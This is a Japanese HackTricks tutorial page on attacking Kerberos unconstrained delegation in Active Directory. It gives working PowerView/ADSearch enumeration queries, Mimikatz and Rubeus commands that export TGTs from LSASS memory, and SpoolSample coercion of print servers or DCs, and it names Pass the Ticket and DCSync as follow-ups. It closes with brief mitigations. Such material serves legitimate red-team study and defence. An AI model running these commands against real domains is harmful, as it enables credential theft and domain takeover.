Unconstrained Delegation
Reading time: 6 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Unconstrained delegation
これは、ドメイン管理者がドメイン内の任意のコンピュータに設定できる機能です。次に、ユーザーがコンピュータにログインするたびに、そのユーザーのTGTのコピーがDCによって提供されるTGS内に送信され、LSASSのメモリに保存されます。したがって、マシン上で管理者権限を持っている場合、チケットをダンプしてユーザーを偽装することができます。
したがって、ドメイン管理者が「Unconstrained Delegation」機能が有効なコンピュータにログインし、そのマシン内でローカル管理者権限を持っている場合、チケットをダンプしてドメイン管理者をどこでも偽装することができます(ドメイン特権昇格)。
この属性を持つコンピュータオブジェクトを見つけることができます。これは、userAccountControl属性がADS_UF_TRUSTED_FOR_DELEGATIONを含んでいるかどうかを確認することで行います。これは、LDAPフィルター‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’を使用して行うことができ、これがpowerviewが行うことです:
# List unconstrained computers
## Powerview
## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
Get-DomainComputer –Unconstrained –Properties name
Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
## Access LSASS memory
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way
# Monitor logins and export new tickets
## Doens't access LSASS memory directly, but uses Windows APIs
Rubeus.exe dump
Rubeus.exe monitor /interval:10 [/filteruser:<username>] #Check every 10s for new TGTs
管理者(または被害者ユーザー)のチケットをメモリにロードします Mimikatz または Rubeus for a Pass the Ticket.
詳細情報: https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
ired.teamの非制約デリゲーションに関する詳細情報。
強制認証
攻撃者が「非制約デリゲーション」を許可されたコンピュータを侵害することができれば、Print serverを自動的にログインさせてTGTをメモリに保存させることができます。
その後、攻撃者はユーザーPrint serverコンピュータアカウントを偽装するためにPass the Ticket攻撃を実行することができます。
印刷サーバーを任意のマシンにログインさせるには、SpoolSampleを使用できます:
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
TGTがドメインコントローラーからのものであれば、DCSync attackを実行して、DCからすべてのハッシュを取得することができます。
この攻撃に関する詳細はired.teamで。
ここに認証を強制する他の方法があります:
Force NTLM Privileged Authentication
Mitigation
- DA/Adminのログインを特定のサービスに制限する
- 特権アカウントに対して「アカウントは機密であり、委任できない」を設定する。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。